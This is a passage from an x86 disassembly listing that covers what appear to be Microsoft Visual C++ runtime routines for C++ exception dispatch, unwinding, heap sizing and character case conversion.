		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_414F9A


loc_414F36:				; CODE XREF: sub_414E41+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_414F67


loc_414F48:				; CODE XREF: sub_414E41+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_415090
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_414F76
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_414F48


loc_414F67:				; CODE XREF: sub_414E41+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_414F36
		jmp	short loc_414F9A
; ---------------------------------------------------------------------------


loc_414F76:				; CODE XREF: sub_414E41+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4151A1
		add	esp, 2Ch


loc_414F9A:				; CODE XREF: sub_414E41+F3j
					; sub_414E41+133j
		mov	edi, [ebp+var_10]


loc_414F9D:				; CODE XREF: sub_414E41+DEj
					; sub_414E41+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_414F11
; ---------------------------------------------------------------------------


loc_414FA8:				; CODE XREF: sub_414E41+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_414FB8
		push	1
		push	esi
		call	sub_415516
		pop	ecx
		pop	ecx


loc_414FB8:				; CODE XREF: sub_414E41+56j
					; sub_414E41+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_414FBD:				; CODE XREF: sub_414E41+37j
					; sub_414E41+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_414FE3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_414FE8
		add	esp, 20h
		jmp	short loc_414FB8
; ---------------------------------------------------------------------------


loc_414FE3:				; CODE XREF: sub_414E41+180j
		jmp	sub_4155EC
sub_414E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FE8	proc near		; CODE XREF: sub_414E41+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	ds:dword_45F8BC, 0
		push	esi
		push	edi
		jz	short loc_415019
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41100A
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41508C


loc_415019:				; CODE XREF: sub_414FE8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_411133
		add	esp, 14h
		mov	esi, eax


loc_415035:				; CODE XREF: sub_414FE8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41508C
		cmp	edi, [esi]
		jl	short loc_415084
		cmp	edi, [esi+4]
		jg	short loc_415084
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41505E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_415084


loc_41505E:				; CODE XREF: sub_414FE8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4151A1
		add	esp, 2Ch


loc_415084:				; CODE XREF: sub_414FE8+57j
					; sub_414FE8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_415035
; ---------------------------------------------------------------------------


loc_41508C:				; CODE XREF: sub_414FE8+2Fj
					; sub_414FE8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_414FE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415090	proc near		; CODE XREF: sub_414E41+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4150E7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4150E7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4150C1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_410930
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4150E3


loc_4150C1:				; CODE XREF: sub_415090+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4150CB
		test	byte ptr [edi],	8
		jz	short loc_4150E3


loc_4150CB:				; CODE XREF: sub_415090+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4150DA
		test	byte ptr [edi],	1
		jz	short loc_4150E3


loc_4150DA:				; CODE XREF: sub_415090+43j
		test	al, 2
		jz	short loc_4150E7
		test	byte ptr [edi],	2
		jnz	short loc_4150E7


loc_4150E3:				; CODE XREF: sub_415090+2Fj
					; sub_415090+39j ...
		xor	eax, eax
		jmp	short loc_4150EA
; ---------------------------------------------------------------------------


loc_4150E7:				; CODE XREF: sub_415090+Bj
					; sub_415090+14j ...
		push	1
		pop	eax


loc_4150EA:				; CODE XREF: sub_415090+55j
		pop	edi
		pop	esi
		retn
sub_415090	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150ED	proc near		; CODE XREF: sub_414DA6+34p
					; sub_4151A1+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C7D8
		push	offset sub_417B48
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41511F:				; CODE XREF: sub_4150ED+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_415179
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41512E
		cmp	esi, [edi+4]
		jl	short loc_415133


loc_41512E:				; CODE XREF: sub_4150ED+3Aj
		call	sub_415642


loc_415133:				; CODE XREF: sub_4150ED+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41514E
		push	103h
		push	ebx
		push	eax
		call	sub_4155A0


loc_41514E:				; CODE XREF: sub_4150ED+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41516E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41518B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41516E:				; CODE XREF: sub_4150ED+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41511F
; ---------------------------------------------------------------------------


loc_415179:				; CODE XREF: sub_4150ED+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4150ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_41518B	proc near		; CODE XREF: sub_4150ED+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41519C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41519C:				; CODE XREF: sub_41518B+Cj
		jmp	sub_4155EC
sub_41518B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151A1	proc near		; CODE XREF: sub_414E41+151p
					; sub_414FE8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4151C3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_415352
		add	esp, 10h


loc_4151C3:				; CODE XREF: sub_4151A1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4151CF
		push	edi
		jmp	short loc_4151D2
; ---------------------------------------------------------------------------


loc_4151CF:				; CODE XREF: sub_4151A1+29j
		push	[ebp+arg_24]


loc_4151D2:				; CODE XREF: sub_4151A1+2Cj
		call	sub_410F0C
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_4150ED
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41521C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_415217
		push	edi
		push	eax
		call	sub_410ECA


loc_415217:				; CODE XREF: sub_4151A1+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4151A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41521C	proc near		; CODE XREF: sub_4151A1+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C7E8
		push	offset sub_417B48
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, ds:dword_45F8B4
		mov	[ebp+var_1C], ecx
		mov	ecx, ds:dword_45F8B8
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	ds:dword_45F8B4, edi
		mov	ecx, [ebp+arg_8]
		mov	ds:dword_45F8B8, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_410F91
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4152E2
		mov	eax, [ebp+var_2C]


loc_4152A9:				; CODE XREF: seg000:004152D8j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41521C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152B8	proc near		; DATA XREF: seg001:0041C7F8o
		push	dword ptr [ebp-14h]
		call	sub_415328
		pop	ecx
		retn
sub_4152B8	endp

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4111F2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_4152A9
; ---------------------------------------------------------------------------


loc_4152DA:				; DATA XREF: seg001:0041C7F0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_4152E2	proc near		; CODE XREF: sub_41521C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	ds:dword_45F8B4, eax
		mov	eax, [ebp-20h]
		mov	ds:dword_45F8B8, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_415327
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_415327
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_415327
		cmp	[ebp-24h], ebx
		jnz	short locret_415327
		cmp	[ebp-2Ch], ebx
		jz	short locret_415327
		call	sub_41125A
		push	eax
		push	edi
		call	sub_415516
		pop	ecx
		pop	ecx

locret_415327:				; CODE XREF: sub_4152E2+1Cj
					; sub_4152E2+22j ...
		retn
sub_4152E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_415328	proc near		; CODE XREF: sub_4152B8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41534F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41534F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41534F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41534F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41534F:				; CODE XREF: sub_415328+Cj
					; sub_415328+12j ...
		xor	eax, eax
		retn
sub_415328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415352	proc near		; CODE XREF: sub_4151A1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C800
		push	offset sub_417B48
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_4154FB
		cmp	byte ptr [eax+8], 0
		jz	loc_4154FB
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_4154FB
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_4153EF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_418980
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4154F2
		push	1
		push	edi
		call	sub_41899C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4154F2
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_4153E0:				; CODE XREF: sub_415352+F5j
		push	eax
		call	sub_41557D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_4154F7
; ---------------------------------------------------------------------------


loc_4153EF:				; CODE XREF: sub_415352+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_415449
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_418980
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4154F2
		push	1
		push	edi
		call	sub_41899C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4154F2
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4112D0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_4154F7
		mov	eax, [edi]
		test	eax, eax
		jz	loc_4154F7
		add	esi, 8
		push	esi
		jmp	short loc_4153E0
; ---------------------------------------------------------------------------


loc_415449:				; CODE XREF: sub_415352+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_415491
		call	sub_418980
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4154F2
		push	1
		push	edi
		call	sub_41899C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4154F2
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41557D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4112D0
		add	esp, 0Ch
		jmp	short loc_4154F7
; ---------------------------------------------------------------------------


loc_415491:				; CODE XREF: sub_415352+103j
		call	sub_418980
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4154F2
		push	1
		push	edi
		call	sub_41899C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4154F2
		push	dword ptr [esi+18h]
		call	sub_4189B8
		pop	ecx
		test	eax, eax
		jz	short loc_4154F2
		test	byte ptr [esi],	4
		jz	short loc_4154D8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41557D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_410F05
		jmp	short loc_4154F7
; ---------------------------------------------------------------------------


loc_4154D8:				; CODE XREF: sub_415352+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41557D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_410EFE
		jmp	short loc_4154F7
; ---------------------------------------------------------------------------


loc_4154F2:				; CODE XREF: sub_415352+6Aj
					; sub_415352+7Cj ...
		call	sub_415642


loc_4154F7:				; CODE XREF: sub_415352+98j
					; sub_415352+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_4154FB:				; CODE XREF: sub_415352+2Ej
					; sub_415352+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415352	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_4155EC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415516	proc near		; CODE XREF: sub_414E41+170p
					; sub_4152E2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C810
		push	offset sub_417B48
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41555D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41555D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_410EFE
		or	[ebp+var_4], 0FFFFFFFFh


loc_41555D:				; CODE XREF: sub_415516+2Aj
					; sub_415516+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415516	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_4155EC

; =============== S U B	R O U T	I N E =======================================



sub_41557D	proc near		; CODE XREF: sub_415352+8Fp
					; sub_415352+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41559E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41559E:				; CODE XREF: sub_41557D+12j
		pop	esi
		retn
sub_41557D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155A0	proc near		; CODE XREF: sub_410F91+40p
					; sub_4150ED+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41127D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_4155DF
		mov	ecx, 2


loc_4155DF:				; CODE XREF: sub_4155A0+38j
		push	ecx
		call	sub_41127D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_4155A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155EC	proc near		; CODE XREF: sub_414E41:loc_414FE3j
					; sub_41518B:loc_41519Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004189D0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C820
		push	offset sub_417B48
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:dword_45F8C0
		test	eax, eax
		jz	short loc_415634
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_415630
; ---------------------------------------------------------------------------


loc_415629:				; DATA XREF: seg001:0041C830o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41562D:				; DATA XREF: seg001:0041C834o
		mov	esp, [ebp+var_18]


loc_415630:				; CODE XREF: sub_4155EC+3Bj
		and	[ebp+var_4], 0


loc_415634:				; CODE XREF: sub_4155EC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41563D:				; DATA XREF: seg001:0041C828o
		jmp	loc_4189D0
sub_4155EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415642	proc near		; CODE XREF: sub_411133+23p
					; sub_411133:loc_41119Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C838
		push	offset sub_417B48
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_42E4F4
		test	eax, eax
		jz	short loc_41568A
		mov	[ebp+var_4], 1
		call	eax ; sub_4155EC
		jmp	short loc_415686
; ---------------------------------------------------------------------------


loc_41567F:				; DATA XREF: seg001:0041C848o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_415683:				; DATA XREF: seg001:0041C84Co
		mov	esp, [ebp+var_18]


loc_415686:				; CODE XREF: sub_415642+3Bj
		and	[ebp+var_4], 0


loc_41568A:				; CODE XREF: sub_415642+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_415693:				; DATA XREF: seg001:0041C840o
		jmp	sub_4155EC
sub_415642	endp


; =============== S U B	R O U T	I N E =======================================



sub_415698	proc near		; CODE XREF: sub_411613+7p
					; sub_411613+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_413550
		test	eax, eax
		pop	ecx
		jz	short loc_4156B0
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_4156B0:				; CODE XREF: sub_415698+Ej
		push	esi
		push	0
		push	ds:dword_460EA0
		call	ds:dword_41C170	; RtlSizeHeap
		pop	esi
		retn
sub_415698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156C1	proc near		; CODE XREF: sub_4116C1+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_45F8D0, 0
		push	ebx
		jnz	short loc_4156EC
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41578A
		cmp	eax, 7Ah
		jg	loc_41578A
		sub	eax, 20h
		jmp	loc_41578A
; ---------------------------------------------------------------------------


loc_4156EC:				; CODE XREF: sub_4156C1+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41571F
		cmp	ds:dword_42E39C, 1
		jle	short loc_41570C
		push	2
		push	ebx
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_415717
; ---------------------------------------------------------------------------


loc_41570C:				; CODE XREF: sub_4156C1+3Dj
		mov	eax, ds:off_42E190
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_415717:				; CODE XREF: sub_4156C1+49j
		test	eax, eax
		jnz	short loc_41571F


loc_41571B:				; CODE XREF: sub_4156C1+AFj
		mov	eax, ebx
		jmp	short loc_41578A
; ---------------------------------------------------------------------------


loc_41571F:				; CODE XREF: sub_4156C1+34j
					; sub_4156C1+58j
		mov	edx, ds:off_42E190
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_415742
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41574B
; ---------------------------------------------------------------------------


loc_415742:				; CODE XREF: sub_4156C1+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41574B:				; CODE XREF: sub_4156C1+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	ds:dword_45F8D0
		call	loc_416B94
		add	esp, 20h
		test	eax, eax
		jz	short loc_41571B
		cmp	eax, 1
		jnz	short loc_41577D
		movzx	eax, [ebp+var_4]
		jmp	short loc_41578A
; ---------------------------------------------------------------------------


loc_41577D:				; CODE XREF: sub_4156C1+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41578A:				; CODE XREF: sub_4156C1+14j
					; sub_4156C1+1Dj ...
		pop	ebx
		leave
		retn
sub_4156C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41578D	proc near		; CODE XREF: sub_4118E0+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
